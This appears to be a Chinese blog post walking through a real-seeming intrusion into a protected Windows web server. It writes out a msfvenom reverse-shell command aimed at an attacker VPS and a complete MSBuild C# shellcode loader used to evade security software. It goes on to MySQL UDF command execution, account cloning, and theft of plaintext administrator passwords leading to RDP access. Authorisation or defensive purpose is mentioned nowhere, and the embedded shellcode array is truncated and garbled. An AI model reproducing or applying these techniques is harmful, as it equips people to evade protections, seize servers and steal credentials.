asp 执行 exe_利用msbuild白名单执行绕安全防护程序提权

0x00 前言

平常我们在做渗透测试的过程总能遇到各种奇奇怪怪的问题,比如命令跑不起来,再比如在一定权限下加账号的时候被安全防护程序给阻止等问题,笔者这个案例就是讲的在安装了各种防护程序的情形下的一次突破(文章之前发布到其他平台,可能有些人已经看过了),看官们多担待。

0x01 前期的信息刺探**

首先拿到webshell,发现phpshell只能访问shell所在目录,连网站根目录都跨不过去如图:

ce39be36256be9da702bf8cc2f5c6a0f.png

c盘d盘根目录就更别提跨过去了,随之执行一下命令看看,如图:

27a1ba12fe8e815ea3f6d48ed20bcde8.png

whoami等简单的命令可以跑起来,tasklist发现了 某某安全套装等安全防护进程进程,om my god,刺激,就喜欢这种各种需要绕的环境,既然能跑起命令来那就上免杀的exp来试着提一下(通过rar解压方法突破某防护程序上传),如图:

614c62b9839a9d0718a558e5b5b0c748.png

经过测试发现,不管把exp放哪个目录都提示拒绝访问,特别是net命令都禁止执行,越发让我感觉是安装安全防护程序的缘故;

0x02 深入

通过msbuild.exe白名单方式运行metasploit payload绕过某安全程序调出w3wp.exe进程
在webshell执行直接执行rar程序一直提示拒绝访问如图:

59d36724676f8f5caa96134707956cac.png

在实际做测试的时候发现windows下用shell反弹个cmdshell回来执行一些命令要比在webshell好许多,看官请看

8f179a96889e8246304a85fedbfb6d76.png

成功将我们想要的exe程序解压到指定目录,webshell下是没法cd到rar目录的,现在能正常上传exe,我们看能不能想办法让咱们的msf不要闲下来,之前考虑用 php/meterpreter/reverse_tcp这个payload上线弹回meterpreter,但是弹回来什么权限也没,连ps进程命令都没法显示,这时候就想到了使用msbuild.exe白名单方式运行metasploit payload绕过某防护程序让msf上线,于是就开始动手,具体如下:
首先使用msf生成一个c#的payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp
代码如下:

byte[] buf = new byte[179779] {0x8b,0x71,0x1c,0x85,0xf6,0x74,0x58,0x33,0xff,0x39,0x79,0x20,0x74,0x51,0x39,0x79,0x24,0x74,0x4c,0x89,0x79,0x14,0x89,0x79,0x08,0x89,0x79,0x18,0xc7,0x41,0x2c,0x02,0x00,0x00,0x00,0x8b,0x46,0x08,0x89,0x7e,0x14,0x89,0x46,0x10,0x39,0x7e,0x18,0x7d,0x03,0x89,0x7e,0x18,0x39,0x7e,0x18,0x6a,0x2a,0x58,0x6a,0x71,0x5a,0x0f,0x45,0xc2,0x89,0x46,0x04,0xc7,0x41,0x30,0x01,0x00,0x00,0x00,0x56,0x89,0x7e,0x20,0xe8,0x88,0x07,0x00,0x00,0x56,0xe8,0x8a,0x15,0x00,0x00,0x59,0x59,0x33,0xc0,0xeb,0x03,0x6a,0xfe,0x58,0x5f,0x5e,0x5d,0xc3,0x55,0x8b,0xec,0x8b,0x4d,0x08,0x33,0xd2,0x56,0x57,0x85,0xc9,0x0f,0x84,0x8d,0x00,0x00,0x00,0x8b,0x71,0x1c,0x85,0xf6,0x0f,0x84,0x82,0x00,0x00,0x00,0x8b,0x7d,0x0c,0x83,0xff,0xff,0x6a,0x06,0x58,0x0f,0x44,0xf8,0x83,0xff,0x09,0x77,0x71,0x83,0x7d,0x10,0x02,0x77,0x6b,0x6b,0x46,0x7c,0x0c,0x53,0x6b,0xdf,0x0c,0x8b,0x80,0x00,0x9d,0x02,0x10,0x3b,0x83,0x00,0x9d,0x02,0x10,0x74,0x11,0x39,0x51,0x08,0x74,0x0c,0x6a,0x01,0x51,0xe8,0x2b,0xf6,0xff,0xff,0x59,0x59,0x8b,0xd0,0x39,0x7e, 0x7c,0x74,0x31。。。代码太长省略。。。 };              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,                MEM_COMMIT, PAGE_EXECUTE_READWRITE);              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);             IntPtr hThread = IntPtr.Zero;             UInt32 threadId = 0;              IntPtr pinfo = IntPtr.Zero;              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);             WaitForSingleObject(hThread, 0xFFFFFFFF);            return true;          }         }            ]]>               

用msf生产的代码替换原始代码的内容,这是原始payload如下:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">             <Target Name="Hello">    <ClassExample />  Target>  <UsingTask    TaskName="ClassExample"    TaskFactory="CodeTaskFactory"    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >    <Task>      <Code Type="Class" Language="cs">              using System;        using System.Runtime.InteropServices;        using Microsoft.Build.Framework;        using Microsoft.Build.Utilities;        public class ClassExample :  Task, ITask        {                   private static UInt32 MEM_COMMIT = 0x1000;                    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;                    [DllImport("kernel32")]            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);                    [DllImport("kernel32")]            private static extern IntPtr CreateThread(                        UInt32 lpThreadAttributes,            UInt32 dwStackSize,            UInt32 lpStartAddress,            IntPtr param,            UInt32 dwCreationFlags,            ref UInt32 lpThreadId                       );          [DllImport("kernel32")]            private static extern UInt32 WaitForSingleObject(                       IntPtr hHandle,            UInt32 dwMilliseconds            );                    public override bool Execute()          {            byte[] shellcode = new byte[179779] {            这里是msf生成的c# shellcode,代码太长省略              };            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,                MEM_COMMIT, PAGE_EXECUTE_READWRITE);              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);              IntPtr hThread = IntPtr.Zero;              UInt32 threadId = 0;              IntPtr pinfo = IntPtr.Zero;              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);              WaitForSingleObject(hThread, 0xFFFFFFFF);              return true;          }         }           ]]>      Code>    Task>  UsingTask>Project>

需要注意的是必须改成shellcode如图:

bfdc4d72a7b3692a65881e9eea9846a7.png

然后上传到web目录,nc反弹继续执行如下命令:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe D:\1\1111.com\uploadfile\19200\443.csproj

这时候监听好的msf就会返回一个meterpreter如图:

11023d39a26c05159f07a01650f9a2de.png

试着在shell和meterpreter下执行exp都提示拒绝访问,如图:

f26fb76482b52ba3b4d8d1fb79a5b4d4.png

但是测试upload上传命令确实是成功调出w3wp.exe 进程,经过一番努力无果,只好换思路解决。

0x03 MySQL udf提权

通过上面的一些测试,已经无望了,这时候就想着用其他办法,经过测试发现网站支持asp,就上传了一个aspshell,各种翻目录各种测试,终于在网站的二级目录数据库配置文件发现了mysql root密码,OK,上传udf提权php马,在具体测试过程中发现,市面上的udf Php工具都被某安全程序被杀了,我发现把被杀的php后缀修改为csproj上传不杀了,要不然无论把被杀的php换成什么后缀名都不行,然后再通过PHP包含这个文件,就可以突破了(也不知道算不算是个某防护程序的一个bug,总之用这种办法让udf工具跑起来了),如图:

4b7ccace8cd3d814139ba46e141e6cb0.png

然后按常规导入dll,提示dll导入成功,创建sys_eval 函数执行命令,却又提示函数不存在如:FUNCTION mysql.sys_eval does not exist,在测试过程没少折腾,用portfwd命令转发目标3306到本地,利用sqlmap -d 上传dll提示不成功,后来用--file-write命令上传dll到system32下也失败了,但是发现上传非二进制的文件的话是成功的,后来通过查看权限证明不是权限问题如图:select * from mysql.user where user = substring_index(user(), '@', 1) ;

b83093c222b2886b3e07447b75726d26.png

权限都很OK,很悲催dll被禁止上传,可恶的安全防护呀,通过查询发现几个自定义函数,如图:

67beb699952fe2695730be08c3258693.png

发现udf.dll已经被占坑了,我们查询一下看看
select hex(load_file('c:/windows/system32/udf.dll'));如图:

85f0fe0815d96de1b8972307c329974d.png

我们利用php环境把它转成dll,代码如下:

<?php echo file_put_contents('udf.dll',hex2bin("这里为sql查询出来的值"));?>

成功把它还原成dll文件,用c32am打开看一下他的用法如图:

004e26f2197a909138617f9fd1d896eb.png

看看这个shell函数的用法,

83eb0c41d4ec212fa6932ad5abdbae6c.png

正好和dll里面的信息一致,但是在测试的过程中发现cmd那个参数用法没法执行命令会卡死(这个函数被防护程序被办了),后来试了exec,select shell('exec','whoami');,如图:

2588e2adf800d3ff15f8a235b3adbe78.png

说明这个exec可以绕过安全防护执行命令,接下来的测试中打算使用msf来操作,于是给目录上传了个免杀的msf工具,过全世界所有的杀毒用法 msf vpsip 443,但是监听好的msf一直没返回来meterpreter,后来没办法又用白名单执行命令成功上线(奇怪的还在后面)命令如下:select shell('exec','C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://1//xxoo.com//uploadfile//19200//443.csproj');注意斜杠问题否则执行出错

226207f52331ac1cbfc3660a4eaa7137.png

但是奇怪的是已经成了system权限却没办法shell,这也正是这个目标奇葩的地方,执行shell卡死,后来ps了一下进程发现administrator的进程migrate pid,然后再执行shell成功执行,并且也可以执行net user 等命令如图:

89f547097ade1bd2e3d3d330c98c74f9.png

很OK,直接net user添加账号肯定不行,利用userclone克隆添加账号密码,账号添加成功,但是加入到管理员组失败,手里有杀某防护程序的神器,但是似乎用不上,杀完需要重启动静太大,OK,这时候发现administrator在线直接上传getpassword64免杀版抓明文密码,得到administrator的明文密码,试着用msf模块抓一下密码,如下:

703ff958bf305420e4c2bf810c2d338c.png

没有成功,因为之前也踩点发现3389没有被某防护程序加入主机名或者ip认证,可以正常登录,所以也不涉及绕过认证登录的问题。登录如图:

d803f408fa1f2b491d7f0d226f7dec6e.png

0x04 举另一个cmd被组策略限制执行命令的例子

637ba35570a3466c8536a2e6a272023c.png

我们利用build白名单执行cs或者msf上线如图:

991964674cf10797b86217d2e0e61a3f.png

命令跑起来了,最起码遇到不能执行命令的时候用白名单执行可以继续开展下一步工作,或者利用msf的load powershell也行继续搞,哈哈

0x05 总结

黑客是一种精神,虽然我不是黑客,但是我崇拜这种精神,什么精神?就是永不言败,勇于突破,敢于挑战,崇尚自由的这种精神或者神经,值得各行各业的人学习。(自从学了黑客,人也变得踏实了,也不虚上跳下,也不让家里人觉得这个人不成熟、不靠谱,总之学黑客,得永生,黑客大法好!!!加油兄弟们!)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值